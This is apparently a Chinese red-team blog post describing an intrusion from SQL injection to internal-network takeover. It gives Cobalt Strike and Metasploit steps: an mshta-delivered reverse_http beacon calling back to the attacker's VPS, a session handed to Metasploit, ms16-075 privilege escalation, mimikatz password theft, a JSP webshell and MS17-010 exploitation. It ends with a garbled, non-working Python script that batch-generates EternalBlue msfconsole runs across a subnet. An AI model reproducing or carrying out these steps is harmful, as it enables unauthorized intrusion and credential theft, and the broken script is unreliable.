安全攻防 | 記一次sql注入到內網漫游
對于紅隊隊員來說,打點之后最重要的就是橫向的內網滲透了,但很多人都卡在了這一步,今天這篇文章就主要講一講cobaltstrike和msf的聯動,內網滲透的一些小思路,以及我遇到的一些msf和cs的坑
從SQL注入到CS上線
SQL注入方面就不詳細贅述了,相信大家都很了解,目標站存在一個POST型的注入,且為SA用戶,MSSQL的數據庫,所以我們呢就可以直接進行--OS-SHELL

我們先在cs建立一個監聽,host填寫vps地址,端口隨便定義
Windows/beacon_http/reverse_http

下一步就是生成一個HTML木馬,ATTacks-packages-HTML我們選擇剛才新建的那個監聽,然后選擇方法powershell

之后就是選擇你剛剛生成的木馬,在你的vps上建立一個下載鏈接

在目標機器上通過mshta執行

然后這時候我們就會看到我們的CS里多出了一個目標

但是這個時候我們發現這個機器的權限是MSSQLSERVER,這對于我們來說是遠遠不夠的,這個時候我們就要進行提權操作,CS中自帶了幾個提權的腳本,你也可以通過插件來獲取其他提權腳本,但是我用CS的腳本進行提權都以失敗告終,所以我需要把這個session傳輸到MSF里面
CS和MSF的session的互傳
這一步是走向內網的第一步,也可以說是打點滲透的最后一步,可以說是非常重要的了,我們首先需要在CS中建立一個全新的監聽,以便于session的傳輸

這個監聽HOST填寫你的vps,port隨意,這里我的msf裝在了vps上,所以我們打開vps,新建一個screen,運行msf,然后選擇exploit/multi/handler之后我們設置payload,設置成和cs對應的如圖所示
Windows/foreign/reverse_tcp

之后就是設置LHOST和LPORT,由于我的CS監聽設置的地址就是vps的地址,所以我們在vps上監聽0.0.0.0就可以,然后lport寫剛剛你在cs上設置的port,一切設置完成我們先在msf上run起來,之后在cs上選擇剛剛上線的機器,在beaconshell中輸入spawn+剛剛你設置的msf監聽名字就可以了,過一會兒我們就能看到msf中有機器上線

下一步就是利用msf提權,這里我們先把這個session放到后臺,用bg命令就可以

之后我們用這個插件 post/multi/recon/local_exploit_suggester,進去之后我們set session * *就是剛剛你msf監聽到的那個session的序號,這個插件就會自動檢測目標系統版本以及可以利用的提權腳本,我們運行一下試試

可以看到,這些腳本就是可用的,這里我用了最后一個ms16-075這個漏洞

可以看到,提權成功,返回了一個新的system權限的session,下面我們嘗試通過msf把這個session注入回到cs中使用
exploit/windows/local/payload_inject
把payload設置成我們cs建立的第一個監聽的payload即
windows/meterpreter/reverse_http
然后設置host,port以及要傳回去的session

我們可以看到CS上返回了一個system權限的shell

這個時候我們就可以愉快的使用mimikatz等工具來把administrator的密碼偷來
但是有的機器改了RDP服務的端口怎么辦呢,我們可以用cs的進程管理,找到rdp服務的PID,然后在beacon中輸入powershell netstat -ano,就可以找到這個PID對應的端口了


內網滲透的一些思路
我們拿到了一臺機器,如何進行下一步的內網嗅探呢,cs中自帶了一個portscan,當然你也可以通過socks把nmap,msf之類的帶入到內網,這里我們就用cs自帶的工具
我們可以看到他的內網比較簡單,我進去轉了一圈發現也只有一些打印機,路由器,還有一個oracle,我們通過受害機的瀏覽器中保存的密碼進入到了其中,新建項目即可傳war包,上傳jsp木馬,還有就是剩下幾臺445的windows主機了,由于我比較懶,就不把msf帶入了,直接傳一個ms17010的利用工具

至此,內網全部主機淪陷,打完收工,內網方面錯綜復雜,大家可以注意一些未授權訪問啊,弱口令啊,瀏覽器保存的密碼啊,整理出屬于這個網段的密碼字典,然后密碼復用,細心總會有意外驚喜
最后,貼上一個自己寫的ms17010批量工具,是剛剛利用的時候突發奇想寫的,還沒調試,希望各位大佬不要笑話,有時間幫小弟調試修改一下,在這里給大家磕頭了


import sysimport osfor a in range (0,256): a = str(a) ip = "xx.xx.xx.""+a+" def ms(config): config=open('ms17010.rc','w') config.write('use exploit/windows/smb/ms17_010_eternalblue'+"") config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"") config.write('set RHOST '+ip+"") config.write('set LHOST "445"') config.write('exploit'+"") ms('')def main(): mg=os.system('msfconsole -r /root/ms17010.rc')if __name__ == '__main__': main()